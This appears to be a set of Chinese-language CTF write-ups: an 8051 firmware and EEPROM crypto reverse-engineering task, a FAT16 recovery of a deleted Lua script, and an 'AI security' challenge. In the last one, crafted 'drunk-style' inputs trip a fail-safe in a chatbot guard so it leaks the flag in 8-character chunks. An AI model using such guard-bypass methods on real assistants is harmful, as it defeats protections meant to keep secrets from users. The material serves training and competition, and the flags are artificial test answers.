Misc 分类。一台离线数据采集终端,主控 AT89C52(8051 内核)加外挂 24C02 EEPROM,仅通过串口握手。附件:vault51.hex(Intel HEX 固件)、vault51.eep(EEPROM 转储 256 字节)、session.bin(串口会话,含大量请求/重传/校验)。还原设备协议与数据保护逻辑,从会话中找出唯一一次有效维护操作,解密 EEPROM 中的 flag 记录。

解题思路

固件转二进制共 3211 字节,用自写 dis8051.py 反汇编、emu8051.py 逐指令验证。常量表 TBL=d3 51 a7 09 6c e2 44 b8(0x0C83);EEPROM 0x40 起是 16 字节主密钥 K,0x50 起是 32 字节加密记录,0x70 起是 8 字节记录 tag。会话帧格式 A5 5A 01 | cmd | step | len | payload | CRC16(0x1021、init 0xFFFF、MSB-first、大端),状态机由 RAM[0x0B] 的 step 驱动:0x80 开机挑战(payload 为 TBL)、0x01 到 0x04 AUTH 协商、0x05 带 8 字节 MAC 的命令、0xF0 与 0xFF 设备侧 ACK/NACK、0x90 输出块。

解题过程

加密体系四个部件。启动密钥 dkey[i]=TBL[i&7]^K[i]^0x6D^i;AUTHST 16 字节滚动状态每收一字节做一次 rot8 与加常数前馈;MAC(0x06B2)以 nonce_lo/hi 与当时 AUTHST 为输入做 rot16 与 8 轮 K/AUTH 混合,注意 h 取 nonce_lo、l 取 nonce_hi,写反则 MAC 全错;密钥编排(0x0227)分两段,第一段 16 轮生成 T1/T2,第二段 48 轮乘 16 列以 blk(i)=T1[i]^T2[i] 混合,第一段末尾没有 RET 直接落进第二段,只实现第一段 T1 完全错误。记录解密(0x07F5)在 GF(2^8)(poly 0x1B)上做链式 seed 推进。

三个易错点都属于静态阅读无法确证、必须逐指令模拟锁定的类别:0BAD/09CB 的循环用 SJMP 先跳 DJNZ 再回跳,实际执行次数是计数值减一;MAC 的 h/l 分配与直觉相反;0227 无返回直接 fall through。关键顺序是 MAC 用 cmd05 载荷喂入之前的 AUTHST,密钥编排用喂入之后的 AUTHST。

会话侧按 0x80 开机帧切分尝试,对每次尝试用其自身 cmd01 到 05 重建 AUTHST,对 cmd05 载荷暴力枚举 16 位 nonce 重算 MAC——只有第 72 次尝试存在唯一解(nonce_lo=0xb3、nonce_hi=0x5a,MAC=49 a7 96 bc 3f 93 3a f7 完全匹配),其余尝试(含重传)的 ACK 载荷是诱饵值。第 72 次编排后解 EEPROM 记录,emu8051 交叉验证 out=666c61677b 一致。

flag

flag{49c1448ab776e6fb992d172282}

无人机 236 · 失落的 Lua(FAT16 恢复)

题目描述

附件失落的 Lua 附件包解压得 sdcard.img(4194304 字节,FAT16)。根目录 MISSION.LUA 名字仍在但 FAT 链被清空、文件被非连续分配。信息题,全程本地分析。

解题思路

BPB 解析:bps=512、spc=1、reserved=1、NFAT=2、rootent=512、fatsz=32,数据区起点 dataoff=49664。根目录第 4 项首字节 0xE5 标记删除,恢复出 MISSION.LUA 起始簇 120、大小 2007 字节。BOOT.LOG 给出关键提示:lua restore: directory entry found; 4 extents unresolved; whole-file crc32=c015417b。

解题过程

全盘扫描非零簇得 120、300、650、911、1200、1700、2048、2500、3100、3600、4091 十一个候选,其中 300 到 3600 的七个全部带 cached 头尾,是参数值为干扰项的诱饵缓存副本(altitude_min=900、yaw_high=35000 等)。真实脚本四个片段的接口处严丝合缝:簇 120 是文件头加 LIMITS 表,结尾停在 local function altitude_ok(alt;簇 911 从 itude_cm) 续起,结尾停在 function update(mode, altitude_cm, yaw;簇 2048 从 _cd, rc7, now_ms) 续起接状态机主体;簇 4091 从 _min then 续起接尾部,共 471 字节收尾。按 120、911、2048、4091 拼接取前 2007 字节,CRC32=c015417b 与 BOOT.LOG 一致——接口连续性判据与 CRC 校验双源验证拼接正确性。

flag 推导取恢复脚本的状态机常量 LIMITS:initial_mode=5、hold_ms=7000、altitude_min_cm=1320、altitude_max_cm=1335、yaw_high_cd=35800、yaw_low_cd=200、rc7_min=1800、final_mode=6、deadline_ms=12000,材料串 5|7000|1320|1335|35800|200|1800|6|12000 的 SHA-256 前 32 位 hex。

解题脚本

d = open("sdcard.img", "rb").read()
dataoff = 49664
cl = lambda c: d[dataoff + (c - 2) * 512 : dataoff + (c - 2) * 512 + 512]
f = b"".join(cl(c) for c in [120, 911, 2048, 4091])[:2007]
print(format(zlib.crc32(f) & 0xffffffff, '08x'))
m = "5|7000|1320|1335|35800|200|1800|6|12000"
print("flag{" + hashlib.sha256(m.encode()).hexdigest()[:32] + "}")

flag

flag{380c7b2a538285a4ab80588e8fb41887}

AI安全 · 喝十斤吐九斤(100)

题目描述

AI 安全,100 分。GuardBot v2.0 自称启用严格的醒酒防御机制,会检查用户输入中的重复字符、拟声词、异常标点和大小写失衡。入口是 Flask 写的 In Vino Veritas-GuardBot Terminal 页面,首页带一层 flash/WebRTC 反爬拦截页,curl 带任意 Cookie 请求即可绕过。

解题思路

两个接口均为 POST JSON:/chat 与 /secure_chat。实测只有 /secure_chat 真正跑防御——/chat 对 drunk 输入恒返回 score=0.000、status=sober,是一层永远清醒的挡箭牌。score 由四类特征累加:重复字符(sooooo、GGIIIVVVVEEEE)、拟声词(hic/burp/咕噜/哈哈)、异常标点(!!!、??? 连排)、大小写失衡(MmmMmM、HhAaHhAa)。四类拉满恰好顶到 0.800(浮点 0.7999999999999999),status 翻 drunk。

解题过程

故障安全分支藏在阈值判断里:score 达到 0.8 后服务端认为用户已经醉了,放弃一切过滤把 flag 原样吐出,但每次只明文 8 字符——花括号内固定 32 字符,其余用星号掩码,固定落在 4 个对齐的 8 字符块(0-7、8-15、16-23、24-31)。反复构造 drunk 输入,把每次返回的非星号字符按位置记下,4 个块都出现过即拼出完整 flag。实测 13 轮请求收齐全部 32 位,同一位置多次采样零冲突。flag 是实例动态下发的,拼合脚本只把实例当下吐出的四块窗口拼起来,换实例重跑即得该实例 flag。